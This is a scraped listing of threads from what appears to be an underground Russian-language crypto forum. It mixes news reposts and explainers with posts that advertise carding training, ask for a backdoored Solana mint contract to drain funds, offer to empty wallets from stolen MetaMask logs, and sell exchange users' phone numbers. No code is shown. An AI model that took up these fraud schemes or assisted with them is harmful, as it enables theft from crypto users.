Source: [CNET](https://www.cnet.com/personal-finance/crypto/blockchain- platform-wormhole-says-its-retrieved-the-324m-stolen-by-hackers/)

Binance закрыл сервис п2п с российскими банками находящиеся под санкциями
ID: 67686ad7b4103b69df3797f9
Thread ID: 96761
Created: 2023-08-28T16:36:41+0000
Last Post: 2023-08-28T16:36:41+0000
Author: tyman
Replies: 0 Views: 173

cryptonews.com

[ Binance Discontinues Peer-to-Peer Service with Sanctioned Russian Banks

– Here's the Latest ](https://cryptonews.com/news/binance-discontinues-peer- peer-service-with-sanctioned-russian-banks-heres-the-latest.htm)

Binance has ended its relationship with five Russian banks under sanctions on the exchange's peer-to-peer service for ruble fund transfers.

cryptonews.com cryptonews.com

AirDrop 50$ - заголовок фиш ссылки?
ID: 67686ad7b4103b69df379815
Thread ID: 94709
Created: 2023-08-03T17:06:55+0000
Last Post: 2023-08-03T17:06:55+0000
Author: uno-uno
Replies: 0 Views: 173

Всем привет, сейчас все криптаны клеймят дроп от traitsniper
Trait Sniper - это тулза для анализа NFT Рыночка.

Сейчас можете склеймить дроп:

• Прыгайте сюда ( https://www.traitsniper.com/airdrop...uwX6XLbfSClF9iSPrwUnYKN9xf2v4rlIrGPci1hCVPEYm ) и подключайте кош в BSC. ///ссылка реф, буду благодарен за переход)
• Вбивайте свой Twitter Ник. (чем круче акк - тем больше насыпят)
• Клеймите дроп.
• Контракт токена: 0x9879406C2EF6578CEB59009D64151Ef3f225830b.

Обязательно кеймить не с основного ММ , мало ли что. Но проект вроде как проверенный. OKX листит у себя завтра
У кого есть много прокаченных твиттеров можно работать вместе (в дм)
Вроде дедлайн до завтра

Застряли средства на copay.safecoin.org
ID: 67686ad7b4103b69df379915
Thread ID: 71956
Created: 2022-08-19T18:25:35+0000
Last Post: 2022-08-19T19:38:53+0000
Author: i0pht
Replies: 1 Views: 173

Здравствуйте, друзья! Несколько дней назад я обменял немного Monero > ZCASH и сохранил Zcash на веб-кошелек — copay.safecoin.org. Сегодня, когда я пытаюсь восстановить средства Zcash с помощью seed pharse, я получаю сообщение об ошибке (ConnectECONREFUSED 127.0.0.1:4002), затем Я загружаю кошелек SafePay и снова пытаюсь восстановить средства с помощью seed-фразы, но получаю ту же ошибку.
Есть ли решение по возврату средств?
Любая помощь, которую я глубоко оценил.

Можно ли использовать асики для брута хешей?
ID: 67686ad7b4103b69df37980b
Thread ID: 95425
Created: 2023-08-11T06:42:17+0000
Last Post: 2023-08-11T14:01:03+0000
Author: Dudjcdiiwkdkcks
Replies: 2 Views: 172

Приветствую всех. Имеется готовая ферма асиков S19 (10 шт). Возможно ли их использовать как вычислительную мощность для хэшкрякинга на базе HashCat?
Если да, то как это сделать в 2023? Есть ли готовые статьи?

Пул ликвидности
ID: 67686ad7b4103b69df3799a0
Thread ID: 62035
Created: 2022-01-27T13:42:00+0000
Last Post: 2022-01-27T13:42:00+0000
Author: T3atral
Replies: 0 Views: 171

del

Вбив вестерн юнион
ID: 67686ad7b4103b69df3797a7
Thread ID: 106443
Created: 2024-01-22T23:52:05+0000
Last Post: 2024-01-22T23:52:05+0000
Author: z1g1
Replies: 0 Views: 168

Полный мануал + настройка (шопы,бины полное сопровождение , возможно допрофита) Доступно групповое обучение.
Пишите в телеграмм :Zauliiidw
Работаем строго через гаранта!

I will offer cash for any cryptocurrency in China.
ID: 67686ad7b4103b69df379869
Thread ID: 86809
Created: 2023-04-27T21:31:43+0000
Last Post: 2023-04-27T21:31:43+0000
Author: xieerduo
Replies: 0 Views: 168

I will offer cash for any cryptocurrency in China.TG:xieerduo9988

Solana backdoor
ID: 67686ad7b4103b69df379955
Thread ID: 68462
Created: 2022-06-10T17:40:47+0000
Last Post: 2022-06-10T17:40:47+0000
Author: werbeden
Replies: 0 Views: 168

Есть:

Вебсайт минта

Вайтлист, только определённый адрес сможет заминтить

Все будет реализовываться через Metaplex
Нужно чтобы в минт контракте соланы стоял бэкдор, таким образом чтобы после успешного минта можно было вывести всю крипту из контракта
Возможно?

XRP case- the Hinman emails will be revealed
ID: 67686ad7b4103b69df37985b
Thread ID: 88296
Created: 2023-05-18T13:11:03+0000
Last Post: 2023-05-18T20:36:36+0000
Author: imnotexist
Replies: 3 Views: 167

XRP is going crazy now. How do u guys see this affecting the global cbdc market, as ripple runs the ledger?

Обменник RUB -> BTC \ ?
ID: 67686ad7b4103b69df37982d
Thread ID: 92050
Created: 2023-07-04T10:43:35+0000
Last Post: 2023-07-04T10:43:35+0000
Author: D4nte
Replies: 0 Views: 165

Нужен анонимный обменник с RUB на BTC есть какие нибудь на примете?.

Обсуждение верификации и локов Binance
ID: 67686ad7b4103b69df3798e9
Thread ID: 78337
Created: 2022-03-24T11:23:42+0000
Last Post: 2022-11-10T19:13:43+0000
Author: Rehub
Replies: 18 Views: 165

Что делать если блокают все операции (выводы обмен торговля) с этим верифнутым акком?

Развёртывания смарт-контракта на Солане
ID: 67686ad7b4103b69df37994f
Thread ID: 68770
Created: 2022-06-16T12:32:32+0000
Last Post: 2022-06-16T16:33:27+0000
Author: werbeden
Replies: 2 Views: 164

Удалось заполучить только исходники контракта в .rs разрешение, соответственно написанным на Rust. Теперь главный вопрос это как запустить это чудо на mainnet соланы? Если всё что имеется это сотня строчек сухого кода?

Pm me if you have verified bitcoin.com app for loading
ID: 67686ad7b4103b69df379750
Thread ID: 112283
Created: 2024-04-09T00:28:03+0000
Last Post: 2024-04-09T00:28:03+0000
Author: mrmac1
Replies: 0 Views: 163

I can load $4-5k on bitcoin.com app and must be verified. I will need login and we share 50/50 tg @ financeweb

Вирт номера для бирж
ID: 67686ad7b4103b69df379813
Thread ID: 94837
Created: 2023-08-05T05:52:29+0000
Last Post: 2023-08-05T11:22:13+0000
Author: wagner_kol
Replies: 3 Views: 161

Где брать вирт номера для бирж

Lightning Network – что это и как работает
ID: 67686ad7b4103b69df379926
Thread ID: 71261
Created: 2022-08-07T04:55:45+0000
Last Post: 2022-08-08T07:45:24+0000
Author: peacemaker
Replies: 0 Views: 161

Криптовалюты не лишены недостатков, ведь появились они относительно недавно – и технология только совершенствуется. Однако использовать криптовалюту становится с каждым годом все проще и безопасней. В том числе, благодаря Lightning Network. Что это и как работает, рассказывает ProstoCoin.

**Что такое Lightning Network

1659847956879.png**

Основная идея Lightning Network состоит в том, что записывать в блокчейн следует не все транзакции, так как это перегружает его. Допустим, пользователи переводят средства друг другу несколько раз. Тогда регистрировать каждый перевод не обязательно. Достаточно будет просто открыть некий платежный канал и записать данные о его открытии в блокчейн. Теперь этот канал будет оставаться открытым столько, сколько понадобится. А когда мы захотим его закрыть, то просто запишем в блокчейн результат всех произведенных транзакций, которые были совершены в этом канале. Если следовать этой идее, то можно создать целую сеть каналов для платежей и транзакции в блокчейне будут использоваться гораздо реже.

Смоделируем ситуацию. Предположим, есть три человека (Ч1, Ч2 и Ч3). Между Ч1 и Ч2 открыт один канал для платежей, а между Ч2 и Ч3 открыт другой. Таким образом, Ч1 может послать деньги Ч3 через Ч2. Это означает, что нода Ч2 переведет Ч3 нужную сумму, а Ч1 возместит её.

Блокчейн в таком случае почти не используется, а транзакции проходят ощутимо быстрее. Но все основные операции, как это видно из примера выше, проходят в платёжных каналах. Давайте узнаем о том, как они работают.

1659848001903.png
Можно сказать, что платёжные каналы напоминают сейф, в который два участника положили по равной сумме и закрыли на два замка, то есть каждый на свой. Факт сохранения суммы записывается в блокчейне и называется открывающей транзакцией. После этого канал для платежей считается открытым. Идея в том, что никто из участников сети не может потратить деньги самостоятельно и нуждается в подтверждении контрагента. Подтвержден должен быть тот факт, что деньги проходят в транзакциях только между двумя этими участниками.

Представим, что первый человек (Ч1) и второй (Ч2) оформили депонирование в сейфе по 5 биткоинов. Итак, Ч1 хочет отправить один биткоин Ч2. Для этого он просто передаёт право на владение одним биткоином из сейфа, который у них с Ч2 общий. Далее, если этот сейф будет открыт, то Ч1 сможет взять оттуда лишь 4 биткоина, а Ч2 – 6 монет. Однако открываться сейф не будет до тех пор, пока они всё ещё планируют передавать друг другу денежные средства. Если Ч2 на следующий день захочет отправить два биткоина обратно, то он просто произведет такую же операцию передачи прав на владение. Если открыть сейф после этого, то доступный баланс Ч1 составит 6 биткоинов, а баланс Ч2 – 4 биткоина.

Итак, теперь стало понятно, что канал для платежей – это всего лишь объединение нескольких транзакций. Канал может закрывать любой его участник. Это действие будет, своего рода, открытием сейфа, которое позволит забрать принадлежащие участникам средства и записать в блокчейн данные об их переводе. Подобное описание является схематическим, но позволяет понять примерное устройство платежного канала. Сложно оценить весь потенциал, который данная технология предоставляет, но со временем преимущества становятся очевидными. Действительно мощной эта технология выглядит тогда, когда несколько подобных каналов объединяются вместе в сеть, которую ещё называют The Lightning Network.

Причины появления
Важно также понимать, какие факторы привели к созданию данной технологии и почему людей не устраивала изначально используемая система. Всем известно, что блокчейн работает медленно и транзакции во многих сетях уже давно стоят достаточно дорого. Например, если отправить кому-то Биткоин, то перевод может идти долго, даже несколько дней.

Но как в таком случае сможет блокчейн изменить мировую систему экономики? Сообществом рассматриваются все предложения о том, как исправить эту проблему. Lightning Network является одним из самых интересных решений, которые были предложены. Однако для лучшего понимания данного решения следует уяснить, почему классический блокчейн действительно можно назвать медленным.

Блокчейн – это реестр, где содержатся блоки с информацией о действиях в сети. Каждый блок связан с последующим и хранит записи о нескольких транзакциях. Новый блок создается только после заполнения предыдущего. Для его добавления в цепочку необходимо подтверждение нескольких участников сети. Длится эта операция, в среднем, десять минут.

Таким образом, все транзакции отправляются не бесплатно. Пользователи сети оплачивают комиссию майнерам, что стимулирует последних поддерживать скорость и стабильность работы данной криптовалюты. Стоимость комиссии можно выбирать самостоятельно, но чем она будет выше, тем скорее ваша транзакция будет включена в блок. В связи с этим отправка небольших сумм может стать невыгодной из-за высоких комиссий.

В текущий блок постоянно можно записать несколько транзакций. То, какая транзакция будет следующей, предстоит решить майнерам. Решение принимается в зависимости от комиссии, которую отправитель транзакции предусмотрел. Таким образом, транзакции с высокой комиссией будут обработаны в первую очередь. Если комиссия, которая была предложена вами, была не самой высокой, то перевод отправляется в очередь. Ожидание может длиться от десятка минут до нескольких дней. Зависит это от загруженности сети.

Из описанного выше становится понятно, что распространение блокчейна лишь замедляет скорость его работы. Высокие комиссии и медленные транзакции – это одни из главных проблем криптовалют и Lightning Network способен их решить.

Как это работает
Суть Lightning Network в том, что в такой системе между людьми передаются не биткоины а, своего рода, расписки, которые свидетельствуют о праве владения определенным количеством монет. Данное различие является ключевым и его лучше рассматривать на примере.

Снова представим три человека (Ч1, Ч2 и Ч3). Платёжный канал, как и в прошлом примере, будет открыт между Ч1 и Ч2, а также между Ч2 и Ч3. Важно отметить, что канала между Ч1 и Ч3 нет. Это значит, что Ч1 может передать средства Ч3 только через Ч2. Ч1 как бы просит Ч2 передать право на владение необходимой суммой для Ч3. Нужная сумма возмещается со счёта после передачи. Такой подход позволяет не записывать в блокчейн часть транзакций и не перегружать сеть. Стоимость комиссий для майнеров тоже снижается.

Какие монеты поддерживают Lightning Network
Ценность этой разработки ясна уже сейчас и ей пытаются найти применение за пределами сети Биткоина. Разработчики альтернативных криптовалют также используют Lightning Network в паре со своими проектами. Для некоторых валют успели запустить лайтнинг для основных сетей. Например, коины Groestlcoin, Syscoin, Ripple уже активировали его на мэиннете.

Разработчики также занимаются внедрением этой технологии в Litecoin. Планируется подобный переход и для Via Coin, Decred и проекта Raiden, который распространялся с помощью ICO и основан на блокчейне Ethereum. Некоторые программные наработки могут быть найдены на сервисе GitHub.

Что изменит Lightning Network в случае с Bitcoin
Помимо очевидных преимуществ, которые были описаны выше, лайтнинг нетворк способен оказать и другое влияние на самую популярную криптовалюту. Биткоин время от времени переживает довольно сильные скачки курса. Увеличение пропускной способности сети, которое может дать lightning Network, позволило бы снова собрать много хайпа вокруг криптовалюты и заинтересовать инвесторов разного уровня. Эти инновации приблизили бы данную валюту к званию мировой.

Перспективы технологии
Конечно, применить эту технологию можно не только к главной по капитализации криптовалюте. Так, например, некоторые эксперты считают, что сеть блокчейн можно вывести на уровень платежных систем Виза и Мастеркард, если просто использовать лайтнинг.

Кроме того, данная разработка предлагает повышенные меры безопасности, что очень важно при работе с финансами. Происходит это благодаря тому, что все транзакции между каналами довольно запутаны и понять, кто кому отправил деньги, не так уж и просто.

Проблемы Lightning Network
Нужно отметить, что и это решение не лишено недостатков. В такой сети может сложиться ситуация, когда один из узлов (node), являющийся посредником, перестаёт отвечать на запросы. Это может привести к тому, что транзакция будет обрабатываться вплоть до нескольких дней и лишь после этого будет завершена.

Кроме того, не получится использовать эту сеть для переводов крупных сумм. Проблема заключается в том, что пропускная способность для каждой отдельной транзакции зависит от её маршрута. Первая версия протокола даже имела встроенное ограничение, которое составляло чуть больше 0.04 BTC.

Выводы
В заключение следует сказать, что разработка новых решений для улучшения блокчейна не может не радовать и развитие в этой индустрии действительно ощутимо. Несмотря на некоторые недостатки, обозреваемая технология является большим шагом вперед и постоянно развивается. Ознакомиться с обновлениями можно в новостях, которые помечены словами Lightning Network Status. Возможно, это действительно тот проект, который способен изменить мир криптовалют.

P.S. взято с prostocoin

Is there any tool to detect early-stage coins that are about to be listed or newly listed on the exchange?
ID: 67686ad7b4103b69df379861
Thread ID: 87637
Created: 2023-05-10T03:51:54+0000
Last Post: 2023-05-10T04:48:14+0000
Author: vietch
Replies: 1 Views: 158

Is there any tool to detect early-stage coins that are about to be listed or newly listed on the exchange?

В CoinGecko назвали главные тренды криптоиндустрии в 2023 году
ID: 67686ad7b4103b69df3797a5
Thread ID: 106537
Created: 2024-01-24T05:47:00+0000
Last Post: 2024-01-24T05:47:00+0000
Author: sasha-meteor
Replies: 0 Views: 157

Самыми популярными направлениями рынка цифровых активов по итогам 2023 года стали искусственный интеллект, GameFi и мем-токены — на них приходится треть общего интереса сообщества. Об этом говорится в исследовании CoinGecko.

В CoinGecko назвали главные тренды криптоиндустрии в 2023 годуПопулярность направлений крипторынка в 2023 году, полученная на основе сетевого трафика. Данные: CoinGecko.
Следом идут экосистема Solana (7,2%), токены BRC-20 (7,1%) и активы «реального мира» (6,5%). На долю 15 главных трендов (из 139) пришлось 72,3% от общего интереса к криптовалютам.

Аналитики собирали данные на основе сетевого трафика пользователей CoinGecko в определенной категории.

ИИ-токены

За прошедшие 12 месяцев доля направления искусственного интеллекта на крипторынке достигла 11,3%, что вывело его на верхнюю строчку списка. По словам экспертов, этому способствовала глобальная популярность и развитие ИИ- технологий:

«С момента запуска ChatGPT в ноябре 2022 года интерес к искусственному интеллекту и связанным с ним усилиям в технологической отрасли набрали обороты. Этот интерес распространился и на криптопространство, привлекая внимание к ИИ-токенам».

Click to expand...

Наибольший прирост продемонстрировала монета облачного сервиса для разработчиков Akash Network (AKT). За прошедший год актив вырос на 1110%, а его капитализация подскочила с $36 млн до $550 млн.

Котировки крупнейшего по объему ИИ-токена Render (RNDR) за тот же период увеличились на 1080%.

Возвращение GameFi

На долю децентрализованных игр пришлось 10,5% от общего интереса. Это направление всегда было достаточно популярным, но в 2023 году совершило рывок благодаря новым проектам и входу крупных игроков.

В частности, семь ведущих компаний-разработчиков заинтересовались блокчейн- геймингом, включая Take-Two, Konami и Bandai Namco.

Исследователи отметили интеграцию Web3-игры Pixels с сайдчейном Ronin, а также появление проектов Gods Unchained и Illuvium в магазине Epic Games Store.

Рассылки ForkLog: держите руку на пульсе биткоин-индустрии!

Самым «производительным» GameFi-токеном стал ImmutableX (IMX), цена которого за 12 месяцев выросла почти на 500%.

В недавнем отчете Delphi Digital сказано, что совокупная рыночная капитализация 183 гейминговых монет в течение 2023 года колебалась между $4 млрд и $7 млрд — на 86% ниже исторического максимума показателя. При этом в Fortune Business Insights спрогнозировали рост объема рынка блокчейн-игр до $615 млрд к 2030 году.

Мемы

Мем-коины заняли третье место с долей интереса 8,3%. В 2023 году сезон популярности подобных активов, как и в прошлые разы, начался с конкретного токена — Pepe (PEPE).

По словам экспертов CoinGecko, позднее ажиотаж вокруг монеты перекинулся на HarryPotterObamaSonic10Inu (BITCOIN) и возродившийся Bonk (BONK).

Последний стал лидером по годовому приросту (+220%) среди мем-коинов, достигнув исторического максимума 15 декабря.

Развитие блокчейнов

4 из 49 блокчейн-решений вошли в топ-15 трендов, включая Solana (SOL), токены BRC-20, Ethereum (ETH) и Avalanche (AVAX).

Достойные показатели демонстрировали также L2-сеть Arbitrum, Base, zkSync Era и Mantle, но не попали в список лидеров.

Самым впечатляющим событием, по мнению исследователей, стало «возрождение Solana из мертвых» после «цепной реакции» от краха FTX.

«В экосистеме Solana было несколько примечательных проектов. Монета BONK привлекла внимание аирдропом для членов сообщества в самые мрачные времена, ознаменовав поворот к лучшему. Jito выступил в качестве протокола ликвидного стейкинга для блокчейна, а Pyth стал перспективным оракулом, стремящимся конкурировать с Chainlink»,
— отметили в CoinGecko.

Click to expand...

Эксперты также добавили, что рост экосистемы произошел благодаря усилиям разработчиков и партнерствам с крупными традиционными компаниями вроде Shopify и Visa.

За прошедший год SOL прибавил более 900%, заняв пятое место в топе по капитализации с показателем $43,8 млрд. 26 декабря актив достиг максимума с апреля 2022 года на отметке около $118.

Источник: forklog.com

anyone has the landing page of x scam ..
ID: 67686ad7b4103b69df379794
Thread ID: 107828
Created: 2024-02-08T23:59:08+0000
Last Post: 2024-02-08T23:59:08+0000
Author: shelbey20
Replies: 0 Views: 155

hey anyone has the code of this landing page (X scam token presale) .. https://prnt.sc/C7Nn67Zj_4qp

Вопрос по выводу битка с Coinbase Commerce
ID: 67686ad7b4103b69df379944
Thread ID: 69695
Created: 2022-07-05T15:38:25+0000
Last Post: 2022-07-05T22:26:24+0000
Author: Morrigan
Replies: 1 Views: 155

Всем привет.
На коинбейс коммерсе лежит немного $ в битке, так как с криптой редко работаю, такой вопрос - смогу ли я вывести валюту на карту через обменник?
Он дает возможность вывести на любой бтц кошелек.

Снимок экрана 2022-07-05 в 22.36.07.pngСнимок экрана 2022-07-05 в 22.36.56.png

Или лучше перекинуть в условный Trust, и оттуда через обменник? Или может через п2п выгодней будет?

Shitcoin on coinbase
ID: 67686ad7b4103b69df379865
Thread ID: 87183
Created: 2023-05-03T06:43:07+0000
Last Post: 2023-05-03T06:43:07+0000
Author: learner
Replies: 0 Views: 154

Has anyone here created a shitcoin listed on crypto markets, which is available for purchase on coinbase?

Обучающий курс (Help)
ID: 67686ad7b4103b69df379990
Thread ID: 63696
Created: 2022-03-02T09:52:57+0000
Last Post: 2022-03-02T09:52:57+0000
Author: sv37qR0
Replies: 0 Views: 152

Добрый день, Друзья!
Есть ли у кого-нибудь обучающие курсы Top Traders Academy?
Будьте добры, поделитесь, пожалуйста!
Разумеется, в долгу не останусь.
Пишите, помогу чем смогу.
Заранее огромное, человеческое спасибо.
Всем мира!

Помогу отработать холодок с логов Мetamask
ID: 67686ad7b4103b69df379993
Thread ID: 63426
Created: 2022-02-23T22:58:33+0000
Last Post: 2022-02-23T22:58:33+0000
Author: olkool
Replies: 0 Views: 152

сабж @gueloterranefrimmosa

Что такое мультиподписная транзакция?
ID: 67686ad7b4103b69df37981c
Thread ID: 94351
Created: 2023-07-30T12:36:35+0000
Last Post: 2023-07-30T14:26:14+0000
Author: voldemort
Replies: 1 Views: 150

Привет, друзья! Может кто-нибудь объяснить, как работают мультиподписные транзакции в Monero и Bitcoin, и как их можно реализовать в веб-приложении? Спасибо!

Как быстро купить крипту за наличные в США ?
ID: 67686ad7b4103b69df379825
Thread ID: 92975
Created: 2023-07-15T05:45:29+0000
Last Post: 2023-07-15T06:31:19+0000
Author: Dolph
Replies: 1 Views: 150

Посоветуйте варианты, как быстро купить крипту за наличные в США с минимум верефикаций , а желательно без и возможностью пополнения $5000 разом или несколькими транзакциями. Какие криптоматы вы бы посоветовать с минимальными комиссиями, подходящие под данные критерии лучше всего? Тестировал пару криптоватов, можно было отправлять по $900 без верефа, но при этом комиссия была 20%. Можно найти P2p обмен, который менял бы кэш на крипту, но не всегда получается найти в нужных мне городах, чаще всего пополнение нужно сделать как можно быстрее. Оффлайн крипто-обменки тоже не везде есть.

Вопрос по майнингу
ID: 67686ad7b4103b69df379839
Thread ID: 90932
Created: 2023-06-20T05:11:44+0000
Last Post: 2023-06-20T05:11:44+0000
Author: Jdjdhjik
Replies: 0 Views: 150

Доброго времени суток недавно услышал такое заявление что криптовалюту можно майнить на роутерах например Бренда Mikrotik слабо майнить да, но можно, также хочу задать воопрос а можно ли майнить на принтерах? Сам я не хорошо разбираюсь в этой теме по этому задаю такой вопрос людям которые сталкивались с этим или имели опыт. Также недавно сам решил попробовать залить майнер создал пул и попробовал gui майнеры с гитхаба, половина скриптов кривые косые функции которые описывает кодер майнеры не выполняют, по этому прошу подсказать хороший gui майнер который сами используете(желательно бесплатный)

VETEOS: статическая проверка контрактов EOSIO на предмет уязвимостей «День сурка»
ID: 67686ad7b4103b69df379773
Thread ID: 109850
Created: 2024-03-06T20:03:07+0000
Last Post: 2024-03-06T20:03:07+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 0 Views: 149

VETEOS: Statically Vetting EOSIO Contracts for the “Groundhog Day”

Vulnerabilities​

В этой статье мы предлагаем VETEOS, статический инструмент проверки уязвимостей «Дня сурка» в контрактах EOSIO. В атаке «День сурка» злоумышленники используют особую проблему отката в контрактах EOSIO, которая позволяет им постоянно выполнять идентичный код контракта с разными входными данными. Используя информацию, полученную в ходе предыдущих исполнений, эти злоумышленники незаконно собирают информацию о целевом контракте, тем самым находя надежный метод получения несанкционированной прибыли. Чтобы решить эту проблему, мы официально определяем эту уникальную уязвимость как проблему зависимости элементов управления и данных и разрабатываем собственный инструмент статического анализа VETEOS, который может точно обнаруживать такие ошибки непосредственно из байт-кода EOSIO WebAssembly (WASM). VETEOS обнаружил 735 новых уязвимостей и превосходит современный анализатор контрактов EOSIO.

Click to expand...

![www.ndss-symposium.org](/proxy.php?image=https%3A%2F%2Fwww.ndss- symposium.org%2Fwp- content%2Fuploads%2FNDSS_Logo_RGB.jpg&hash=154edd2da82c06e52a83043d2ccaa73d&return_error=1)

[ VETEOS: Statically Vetting EOSIO Contracts for the “Groundhog Day”

Vulnerabilities - NDSS Symposium ](https://www.ndss-symposium.org/ndss- paper/veteos-statically-vetting-eosio-contracts-for-the-groundhog-day- vulnerabilities/)

![www.ndss-symposium.org](/proxy.php?image=https%3A%2F%2Fwww.ndss- symposium.org%2Fwp-content%2Fuploads%2Fcropped- NDSS_512x512-32x32.png&hash=b851b77491c1b12e3c45903d1447dc11&return_error=1) www.ndss-symposium.org

Подробнее тут

https://www.ndss-symposium.org/wp-content/uploads/2024-972-paper.pdf

Исходники

github.com

[ GitHub - HKJL10201/VetEOS: VetEOS

](https://github.com/HKJL10201/VetEOS)

VetEOS. Contribute to HKJL10201/VetEOS development by creating an account on GitHub.

github.com github.com

Data from any region on okx exchange can be provided
ID: 67686ad7b4103b69df3797a9
Thread ID: 106114
Created: 2024-01-18T12:54:39+0000
Last Post: 2024-01-18T12:54:39+0000
Author: bentian
Replies: 0 Views: 147

I sell okx exchange user phone numbers in any country, 100% verifiable, please contact me if you need

Comparing Reasonably Private Spends in Bitcoin, Monero, and Zcash
ID: 67686ad7b4103b69df37982a
Thread ID: 92275
Created: 2023-07-07T07:39:26+0000
Last Post: 2023-07-07T07:39:26+0000
Author: b1ack
Replies: 0 Views: 147

Introduction​

As my first blog post I wanted to go ahead and share some thoughts I’ve had about efficiency within transaction types when comparing privacy protocols and usage.

I have recently discussed this in some depth on Twitter where I was surprised by the results, finding that Monero manages to be quite a bit more efficient on size compared to Bitcoin when trying to use both in a private manner. I’ll use this blog post to break it down in a bit more detail, and add a new contender to the mix – Zcash.

1/ Thread on comparing “reasonably private” spends in #Monero and #Bitcoin, and trying to find a better way to judge scalability/throughput if all spends provide reasonable/good privacy guarantees.

Starting off with transaction sizes, or more accurately, “private spend size”:
— Seth For Privacy (@sethforprivacy) July 20, 2020

Click to expand...

The reason I’ve chosen to focus on efficiency of each protocol is that users will generally prioritize simplicity and low cost, and if a privacy protocol can provide both of those to users, they can greatly aid adoption of powerful tools. While users do generally prefer to have privacy (who reading this is willing to email me all of your passwords and home address?), they will not normally go above and beyond, at great cost in time and money, to preserve their privacy.

So for this post, let’s take a look at how each of the three most recognized privacy approaches in cryptocurrency stack up in size, cost (in both money and time!), and throughput.

But first, an introduction to each network’s approach to privacy.

Bitcoin - Privacy by Wallet​

Bitcoin is the king of cryptocurrencies and made major breakthroughs that enabled the existence of cryptocurrencies like Monero and Zcash. While many thought its approach to privacy sufficient in the early days, people quickly realized that the pseudonymity it offered was insufficient for many use cases and allowed users to very easily ruin their own privacy via things like combining outputs, re-using addresses, and simple output amount analysis among many other heuristics.

There are currently two main approaches to gaining some level of “reasonable privacy” on Bitcoin, using CoinJoin1 to obfuscate UTXO ownership, and the Lightning Network2 to move the trail of funds off-chain (to some extent, privacy via Lightning is still very much a work-in-progress and not well understood).

CoinJoin is a technique where a group of unique users use a central coordinator to build a shared transaction that combines all of their input UTXOs of the same fixed amount and then “mixes” these funds to break deterministic links between the input UTXOs and output addresses. The most well known approaches to this are Samourai, Wasabi, and [JoinMarket](https://github.com/Joinmarket-Org/joinmarket- clientserver/releases) (note that JoinMarket uses a maker/taker model instead of a coordinator model, but that is outside the scope of this blog post).

For this blog post we’ll focus on Samourai wallet, as that is most widely accepted as the ideal way to gain privacy in Bitcoin at the moment. For more information on how the basics of Samourai Wallet work, see “Samourai 101” for a great explainer.

Monero - Privacy by Default​

Monero was created in 2014 as a fork of a project called “Bytecoin” by a small community of developers. Monero is not a fork of Bitcoin, and uses an entirely new codebase called “Cryptonote”[3](https://sethforprivacy.com/posts/comparing-private- spends/#fn:3) that has evolved into the Monero protocol. Monero was started with three core aims – privacy that is usable and approachable for the masses, by default, a scalable and iterating base-layer, and ASIC-resistance to enable commodity hardware mining which aids decentralization.

Monero enables this default privacy for all users of the network through a variety of means:

These technologies combine to allow any user interacting with the Monero network to gain strong privacy without taking extra effort, making multiple transactions, or relying on a central coordinator.

Zcash - Privacy by Pool​

Zcash is a code fork of Bitcoin created in 2016 that adds on optional privacy via a technology called zk- SNARKs9, allowing users to opt-in to hiding the sender, receiver, and amount of a given transaction (if sending from a z-address to another z-address). This functions in similar ways to Monero, in that there are one-time addresses, amount commitments, and proofs that the transaction spends a previous output.

Zcash retains many of the network characteristics of Bitcoin, but does enable vastly greater privacy to those users who choose to opt-in. Unfortunately, because these strong privacy tools are not enabled by default for users, they see very little adoption and normal, Bitcoin-like transactions are by far the majority of transactions made on the Zcash network.

For more info on how Zcash works technically, see “Zcash Technology” for a solid introduction.

Comparing Size and Cost​

As comparing across unique networks is very difficult, I’ve done my best to find a unifying set of metrics that we can more easily compare, and used the common denominator of USD as a fee measure as native units are not easily comparable.

Bitcoin Transaction Notes​

This example chain of transactions represents the recommended way to gain “reasonable privacy” and spend in Bitcoin, and requires a [TX0 pre-mix transaction](https://medium.com/samourai-wallet/diving-head-first-into- whirlpool-anonymity-sets-4156a54b0bc7), a Whirlpool mixing transaction, and a post-mix transaction (here a STONEWALL transaction is used for the comparison, as this is most common and does not require a trusted second part).

It’s important to note that it takes a great deal of time to perform a single “reasonably private” spend, and in my own testing it took ~4.5h to go from TX0 to STONEWALL spend. This overall time could be reduced somewhat by creating multiple mixed outputs from each TX0, but is not possible for all users depending on input amount and pool size.

12/ Key takeaways (continued):

#Bitcoin remains extremely expensive to transact privately, and fees are cheap (comparatively) at present

  • To send funds privately, took $37.50 and about 4.5h total, quite time consuming and costly, even with the ease of use of Samourai
    — Seth For Privacy (@sethforprivacy) June 9, 2020

Click to expand...

For this comparison I have omitted “doxxic change” costs and mixing fees, as they are variable and hard to compare with Monero and Zcash transactions. I am purely listing Bitcoin transaction fees below.

Monero Transaction Notes​

This example transaction is a standard 1-in 2-out Monero transaction with the present network technology, and represents the most common spend. Note that no preparatory, mixing, or post-mix transactions are necessary to protect the sender, receiver, and amount, or to break any deterministic links along the way.

Sending a Monero transaction is as simple as a basic Bitcoin transaction, and takes ~2min to confirm on-chain.

Zcash Transaction Notes​

This example transaction is a standard 1-in 2-out z-to-z transaction in Zcash, and represents the highest level of privacy available to users who opt-in to sending from and to a z-address (fully shielded). This type of transaction hides the sender, receiver, and amount on-chain. Note that no preparatory, mixing, or post-mix transactions are necessary to protect the sender, receiver, and amount, or to break any deterministic links along the way.

Results​

As you can see below, Monero offers the most cost and space-efficient transactions of the three networks, saving almost 900b per “reasonably private” spend compared to comparable transactions in Bitcoin and Zcash, and is 33% the cost of Zcash and 0.0002% the cost of Bitcoin.

The largest caveat here for the scaling of Monero is that it is not currently fully pruneable in the same way as Bitcoin (Bitcoin can prune down to just the current UTXO set), and requires retaining a database of all outputs to use as decoys in each future transaction as no output is ever known-spent by the network10. Zcash is (as far as I can tell) not pruneable in any way at present.

It’s important to note that most users of both Zcash and Bitcoin do not opt into using these privacy tools, and instead choose to transact without hiding sender/receiver/amount for the vast majority of transactions.

For more info on comparing the frequency of spends utilizing these privacy tools, see a recent Tweet thread from @JEhrenhofer:

Zcash vs. Monero

Proportional sum of Monero and Zcash transactions that hide the sender, receiver, and amount pic.twitter.com/Q7xY4pWoMh
— Justin Ehrenhofer 🏳️‍🌈 (@JEhrenhofer) November 28, 2020

Click to expand...

Cryptocurrency| Transaction Size| Transaction Cost (in USD as of 2022-02-18)
---|---|---
Bitcoin| 2,363b, 1,475vb| $2.93 (@ 5sat/vb)
Monero| 1,419b| $0.0208 (median)
Zcash| 2,373b| $0.0232 (median)

Throughput​

Throughput is an even harder metric to measure across networks, as each network has made their own choices of block size and block time to match their own needs and goals. To provide a common ground here, I’ve chosen to list the default limits/times of each network and the throughput that allows, as well as provide a version of each weighted to Bitcoin’s design choices of 10min block times and 1MB/4MB block size caps.

